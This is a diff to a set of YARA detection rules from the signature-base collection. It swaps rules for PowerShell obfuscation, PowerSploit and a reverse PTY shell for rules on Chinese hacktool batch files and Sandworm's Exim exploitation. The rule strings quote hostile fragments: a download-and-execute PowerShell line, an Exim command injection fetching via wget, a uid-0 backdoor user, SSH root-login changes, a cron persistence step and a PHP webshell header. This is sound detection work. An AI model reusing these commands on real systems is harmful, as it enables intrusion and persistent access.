-		hash1 = "e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9"
 
 	strings:
-		$x1 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
-		$x2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
-		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
-		$s1 = "Could not open process token: %d (%u)" fullword ascii
-		$s2 = "0fd00b.dll" fullword ascii
-		$s3 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
-		$s4 = "Could not connect to pipe (%s): %d" fullword ascii
+		$s0 = "regsvr32.exe /u C:\\windows\\system32\\PacketX.dll" fullword ascii
+		$s1 = "del /F /Q C:\\windows\\system32\\PacketX.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 3 of them ))
+		filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_FE_LEGALSTRIKE_MACRO
+rule SIGNATURE_BASE_Dll_Reg : FILE
 {
 	meta:
-		description = "This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
-		author = "Ian.Ahl@fireeye.com @TekDefense - modified by Florian Roth"
-		id = "eb15e5aa-16e5-5c07-a293-ad15c0c09d8e"
-		date = "2017-06-02"
+		description = "Chinese Hacktool Set - file Reg.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "97c0d9ff-6a12-57e3-8219-6c1843a03a29"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt19.yar#L34-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b38edeedcc02168d3ba7e82c3f5c6963ffc8ce1688eeb424ce686484f3687512"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L76-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cb8a92fe256a3e5b869f9564ecd1aa9c5c886e3f"
+		logic_hash = "db2032d5689f9fcfc446d5ebe8a6d28c6dbd8bcd1d93769ec969d76f8add4f9d"
 		score = 75
 		quality = 85
-		tags = ""
-		version = ".1"
-		filetype = "MACRO"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
-		$wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
-		$wsobj2 = "Obj.Run " ascii wide
+		$s0 = "copy PacketX.dll C:\\windows\\system32\\PacketX.dll" fullword ascii
+		$s1 = "regsvr32.exe C:\\windows\\system32\\PacketX.dll" fullword ascii
 
 	condition:
-		all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_FE_LEGALSTRIKE_RTF : FILE
+rule SIGNATURE_BASE_Sbin_Squid : FILE
 {
 	meta:
-		description = "Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"
-		author = "joshua.kim@FireEye. - modified by Florian Roth"
-		id = "b62ceffa-445f-517e-b86b-56e47876c6c0"
-		date = "2017-06-02"
+		description = "Chinese Hacktool Set - file squid.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e7302e90-d072-599b-a8f2-bf1f21a84de9"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt19.yar#L52-L69"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "af811694076f7d53ee76713538839c4ec82c591518d59d5988dcb893bfd32ffe"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L92-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8b795a8085c3e6f3d764ebcfe6d59e26fdb91969"
+		logic_hash = "c440bcfda55f926354ea5e462fe1e6a0e9e9585bb1c1539c0aa0588405a46105"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = ".1"
-		filetype = "MACRO"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$lnkinfo = "4c0069006e006b0049006e0066006f"
-		$encoded1 = "4f4c45324c696e6b"
-		$encoded2 = "52006f006f007400200045006e007400720079"
-		$encoded3 = "4f0062006a0049006e0066006f"
-		$encoded4 = "4f006c0065"
-		$datastore = "\\*\\datastore"
+		$s0 = "del /s /f /q" fullword ascii
+		$s1 = "squid.exe -z" fullword ascii
+		$s2 = "net start Squid" fullword ascii
+		$s3 = "net stop Squid" fullword ascii
 
 	condition:
-		uint32be(0)==0x7B5C7274 and all of them
+		filesize <1KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Cmstar_Malware_Sep17 : FILE
+rule SIGNATURE_BASE_Sql1433_Creck : FILE
 {
 	meta:
-		description = "Detects CMStar Malware"
+		description = "Chinese Hacktool Set - file creck.bat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d6c9cd7f-06ce-5641-b9b2-c81daf18628d"
-		date = "2017-10-03"
+		id = "38a91464-d493-5154-86ec-e54b3e25309b"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/pTffPA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cmstar.yar#L13-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "498b6a3e02cf4979babe6379c2d6b3529d2a28210d44a8ce05aef1acdd325953"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L110-L125"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "189c11a3b268789a3fbcfac3bd4e03cbfde87b1d"
+		logic_hash = "2d9ff5f130d625450e7de41832695839f0427a6186569280a224f20e89fe1d8a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5"
 
 	strings:
-		$s1 = "UpdateService.tmp" fullword ascii
-		$s2 = "StateNum:%d,FileSize:%d" fullword ascii
+		$s0 = "start anhao3.exe -i S.txt -p  pass3.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
+		$s1 = "start anhao1.exe -i S.txt -p  pass1.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
+		$s2 = "start anhao2.exe -i S.txt -p  pass2.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="22021985de78a48ea8fb82a2ff9eb693" or pe.exports("WinCred") or all of them )
+		uint16(0)==0x7473 and filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_Tempracer : FILE
+rule SIGNATURE_BASE_Sql1433_Start : FILE
 {
 	meta:
-		description = "Detects privilege escalation tool - file TempRacer.exe"
+		description = "Chinese Hacktool Set - file Start.bat"
 		author = "Florian Roth (Nextron Systems)"
-		id = "edba6471-9720-5aad-8c15-386197700c83"
-		date = "2016-03-30"
+		id = "89bc249d-dba0-5196-b081-ddbd029ae6c8"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "http://www.darknet.org.uk/2016/03/tempracer-windows-privilege-escalation-tool/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_tempracer.yar#L10-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e17d80c4822d16371d75e1440b6ac44af490b71fbee1010a3e8a5eca94d22bb3"
-		logic_hash = "37355456e13ea9fa6429b68970e0450f4ddbd8da81c070a0383b1e048a05e35a"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktool_scripts.yar#L127-L145"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bd4be10f4c3a982647b2da1a8fb2e19de34eaf01"
+		logic_hash = "b7dfc2b04e838fa3a71487287a50e183443eb62b69cd23494294f231b43baf2f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\obj\\Release\\TempRacer.pdb" ascii
-		$s2 = "[+] Injecting into " fullword wide
-		$s3 = "net localgroup administrators alex /add" fullword wide
-		$s4 = "[+] File: {0} renamed to {1}" fullword wide
-		$s5 = "[+] Blocking " fullword wide
+		$s1 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii
+		$s2 = "start creck.bat" fullword ascii
+		$s3 = "del s1.txt" fullword ascii
+		$s4 = "del Result.txt" fullword ascii
+		$s5 = "del s.TXT" fullword ascii
+		$s6 = "mode con cols=48 lines=20" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <25KB and 1 of them ) or (4 of them )
+		filesize <1KB and 2 of them
 }
-rule SIGNATURE_BASE_HKTL_Powersploit
+rule SIGNATURE_BASE_APT_Sandworm_Keywords_May20_1 : CVE_2019_10149 FILE
 {
 	meta:
-		description = "Detects default strings used by PowerSploit to establish persistence"
-		author = "Markus Neis"
-		id = "8cb0753c-c5bb-56fc-b492-4e785f4bdaf4"
-		date = "2018-06-23"
+		description = "Detects commands used by Sandworm group to exploit critical vulernability CVE-2019-10149 in Exim"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e0d4e90e-5547-5487-8d0c-a141d88fff7c"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://www.hybrid-analysis.com/sample/16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75?environmentId=100"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powersploit_dropper.yar#L1-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "00bc389147926f3b474a7072381bb8b9cddad3ff581a5d2182006a674e0c0163"
+		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9f9a81ff0c576f05ac063eaca7a5882dbdb09c9a0778610cca2864636a00efce"
 		score = 75
-		quality = 81
-		tags = ""
-		hash1 = "16937e76db6d88ed0420ee87317424af2d4e19117fe12d1364fee35aa2fadb75"
+		quality = 85
+		tags = "CVE-2019-10149, FILE"
 
 	strings:
-		$ps = "function" nocase ascii wide
-		$s1 = "/Create /RU system /SC ONLOGON" ascii wide
-		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$x1 = "MAIL FROM:<$(run("
+		$x2 = "exec\\x20\\x2Fusr\\x2Fbin\\x2Fwget\\x20\\x2DO\\x20\\x2D\\x20http"
 
 	condition:
-		all of them
+		filesize <8000KB and 1 of them
 }
-rule SIGNATURE_BASE_Git_CVE_2017_9800_Poc : CVE_2017_9800 FILE
+rule SIGNATURE_BASE_APT_Sandworm_SSH_Key_May20_1 : FILE
 {
 	meta:
-		description = "Detects a CVE-2017-9800 exploitation attempt"
+		description = "Detects SSH key used by Sandworm on exploited machines"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1692eec4-a9af-5d00-97b8-badbe0ba0711"
-		date = "2017-08-11"
+		id = "ea2968b8-7ae4-56b8-9547-816c5e37c50a"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/mzbat/status/895811803325898753"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2017_9800.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1cfd0c5cb255d3ca63917c41c092df70d68b04f5d210a66abd5e35e509ff4beb"
-		score = 60
+		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L17-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "23a43849dfaa80bad2ca4f46b53181b3a4855ee89673ae9b658c854069b9aaa9"
+		score = 75
 		quality = 85
-		tags = "CVE-2017-9800, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$s1 = "git clone ssh://-oProxyCommand=" ascii
-		$s2 = "git clone http://-" ascii
-		$s3 = "git clone https://-" ascii
+		$x1 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2q/NGN/brzNfJiIp2zswtL33tr74pIAjMeWtXN1p5Hqp5fTp058U1EN4NmgmjX0KzNjjV"
 
 	condition:
-		filesize <200KB and 1 of them
+		filesize <1000KB and 1 of them
 }
-rule SIGNATURE_BASE_Powershell_Isesteroids_Obfuscation
+rule SIGNATURE_BASE_APT_Sandworm_SSHD_Config_Modification_May20_1 : FILE
 {
 	meta:
-		description = "Detects PowerShell ISESteroids obfuscation"
+		description = "Detects ssh config entry inserted by Sandworm on compromised machines"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d686c4de-28fd-5d77-91d4-dde5661b75cd"
-		date = "2017-06-23"
+		id = "dd60eeb7-3d4b-5a6a-8054-50c617ee8c73"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/danielhbohannon/status/877953970437844993"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_obfuscation.yar#L11-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6d9476f679614e34a0d13664baffd15b0bdb896f7eeca2c9de66bdc0d65a2eec"
+		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L33-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5775588b3a9d44e9eb2c8ef0f50351d7e3b06f1005f669775fae7187900d5999"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$x1 = "/\\/===\\__" ascii
-		$x2 = "${__/\\/==" ascii
-		$x3 = "Catch { }" fullword ascii
-		$x4 = "\\_/=} ${_" ascii
+		$x1 = "AllowUsers mysql_db" ascii
+		$a1 = "ListenAddress" ascii fullword
 
 	condition:
-		2 of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Obfuscted_Powershell_Code
+rule SIGNATURE_BASE_APT_Sandworm_Initfile_May20_1 : FILE
 {
 	meta:
-		description = "Detects obfuscated PowerShell Code"
+		description = "Detects mysql init script used by Sandworm on compromised machines"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e2d8fc9e-ce2b-5118-8305-0d5839561d4f"
-		date = "2018-12-13"
+		id = "0bd613e3-6bd4-5cec-bc0d-2bdb83caf142"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/silv0123/status/1073072691584880640"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_obfuscation.yar#L28-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "afd7e4b88c812b23441549565a18fde18c24fe91ec467455002ef338e092ebf9"
-		score = 65
+		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L51-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "989f37069820d9ecf67dc71e4761a7cde2c1adf8db40b5f8a47e9c610ddec2e6"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$s1 = "').Invoke(" ascii
-		$s2 = "(\"{1}{0}\"" ascii
-		$s3 = "{0}\" -f" ascii
+		$s1 = "GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';" ascii
+		$s2 = "CREATE USER 'mysqldb'@'localhost' IDENTIFIED BY '" ascii fullword
 
 	condition:
-		#s1>11 and #s2>10 and #s3>10
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Powershell_Caret_Obfuscation_2
+rule SIGNATURE_BASE_APT_Sandworm_User_May20_1 : FILE
 {
 	meta:
-		description = "Detects powershell keyword obfuscated with carets"
+		description = "Detects user added by Sandworm on compromised machines"
 		author = "Florian Roth (Nextron Systems)"
-		id = "976e261a-029c-5703-835f-a235c5657471"
-		date = "2019-07-20"
+		id = "ada549a4-abcc-5c0a-9601-75631e78c835"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_obfuscation.yar#L43-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0aa21df64d61cb299b0f77da8b97e8cfc379622a8092e71657c478519d83fd31"
-		score = 65
-		quality = 31
-		tags = ""
+		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L68-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d052792a674dfa2d93a048b550ea085c3b9225662fdb09bf4a602093b0527e38"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$r1 = /p[\^]?o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l\^l/ ascii wide nocase fullword
-		$r2 = /p\^o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l[\^]?l/ ascii wide nocase fullword
+		$s1 = "mysql_db:x:" ascii
+		$a1 = "root:x:"
+		$a2 = "daemon:x:"
 
 	condition:
-		1 of them
+		filesize <4KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_OBFUSC_Powershell_True_Jun20_1 : FILE
+rule SIGNATURE_BASE_APT_WEBSHELL_PHP_Sandworm_May20_1 : FILE
 {
 	meta:
-		description = "Detects indicators often found in obfuscated PowerShell scripts"
+		description = "Detects GIF header PHP webshell used by Sandworm on compromised machines"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e9bb870b-ad72-57d3-beff-2f84a81490eb"
-		date = "2020-06-27"
+		id = "b9ec02c2-fa83-5f21-95cf-3528047b2d01"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/corneacristian/mimikatz-bypass/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_obfuscation.yar#L57-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8f33762e6e93fcf6b423b34eb1abefae2ae91b51048303947f7c1601823630d7"
+		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L86-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d10f618c7b465c7691d6054e994a76f56c12eb0a36d2d98b5accd2c1e2c1da7"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$ = "${t`rue}" ascii nocase
-		$ = "${tr`ue}" ascii nocase
-		$ = "${tru`e}" ascii nocase
-		$ = "${t`ru`e}" ascii nocase
-		$ = "${tr`u`e}" ascii nocase
-		$ = "${t`r`ue}" ascii nocase
-		$ = "${t`r`u`e}" ascii nocase
+		$h1 = "GIF89a <?php $" ascii
+		$s1 = "str_replace(" ascii
 
 	condition:
-		filesize <6000KB and 1 of them
+		filesize <10KB and $h1 at 0 and $s1
 }
-rule SIGNATURE_BASE_HKTL_Reverse_Connect_TCP_PTY_Shell : FILE
+rule SIGNATURE_BASE_APT_SH_Sandworm_Shell_Script_May20_1 : FILE
 {
 	meta:
-		description = "Detects reverse connect TCP PTY shell"
-		author = "Jeff Beley"
-		id = "a9a90d67-774b-5b32-97c0-d7e06763f2e9"
-		date = "2019-10-19"
+		description = "Detects shell script used by Sandworm in attack against Exim mail server"
+		author = "Florian Roth (Nextron Systems)"
+		id = "21cf2c89-5511-5eb6-a2dd-4ad54ebfa2d1"
+		date = "2020-05-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_backconnect.py"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_python_pty_shell.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b92077f9ff775ae3f8166f47a32aaa872fcbf7fcefc3789e5411388aac5403a"
+		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_exim_expl.yar#L103-L129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b9116585e74ad6159cd31c0c8a84566f981a62ca5b5f82ace8b855a180461071"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		hash1 = "cae9833292d3013774bdc689d4471fd38e4a80d2d407adf9fa99bc8cde3319bf"
+		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
+		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$s1 = "os.dup2(s.fileno(),1)" fullword ascii
-		$s2 = "pty.spawn(\"/bin/\")" fullword ascii
-		$s3 = "os.putenv(\"HISTFILE\",'/dev/null')" fullword ascii
-		$s4 = "socket.socket(socket.AF_INET, socket.SOCK_STREAM)" fullword ascii
+		$x1 = "echo \"GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';\" >> init-file.txt" ascii fullword
+		$x2 = "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version" ascii fullword
+		$x3 = "sed -i -e '/PasswordAuthentication/s/no/yes/g; /PermitRootLogin/s/no/yes/g;" ascii fullword
+		$x4 = "useradd -M -l -g root -G root -b /root -u 0 -o mysql_db" ascii fullword
+		$s1 = "/ip.php?port=${PORT}\"" ascii fullword
+		$s2 = "sed -i -e '/PasswordAuthentication" ascii fullword
+		$s3 = "PATH_KEY=/root/.ssh/authorized_keys" ascii fullword
+		$s4 = "CREATE USER" ascii fullword
+		$s5 = "crontab -l | { cat; echo" ascii fullword
+		$s6 = "mysqld --user=mysql --init-file=/etc/opt/init-file.txt --console" ascii fullword
+		$s7 = "sshkey.php" ascii fullword
 
 	condition:
-		filesize <1KB and 2 of them
+		uint16(0)==0x2123 and filesize <20KB and 1 of ($x*) or 4 of them
 }
-rule SIGNATURE_BASE_ONHAT_Proxy_Hacktool : FILE
+rule SIGNATURE_BASE_APT_RU_Sandworm_PY_May20_1 : FILE
 {
 	meta:
-		description = "Detects ONHAT Proxy - Htran like SOCKS hack tool used by Chinese APT groups"
+		description = "Detects Sandworm Python loader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cb18a5b0-dbbd-5dd3-af66-21b8302df6de"
-		date = "2016-05-12"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/p32Ozf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_onhat_proxy.yar#L8-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d8c088ecdedbd74ca174244c407c3bb27ccd082ec515c62ee19c93e0d45d3f3b"
-		score = 100
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "30b2de0a802a65b4db3a14593126301e6949c1249e68056158b2cc74798bac97"
-		hash2 = "94bda24559713c7b8be91368c5016fc7679121fea5d565d3d11b2bb5d5529340"
-		hash3 = "a26e75fec3b9f7d5a1c3d0ce1e89e4b0befb7a601da0c69a4cf96301921771dd"
-		hash4 = "c202e9d5b99f6137c7c07305c7314e55f52bae832d460c44efc8f2a90ff03615"
-		hash5 = "dded62ad85c0bdd68bcc96f88d8ba42d5ad0ef999911ebdea3f561a4491ebbc6"
-		hash6 = "f0954774c91603fc2595f0ba0727b9af4e80f6f9be7bb629e7fb6ba4309ed4ea"
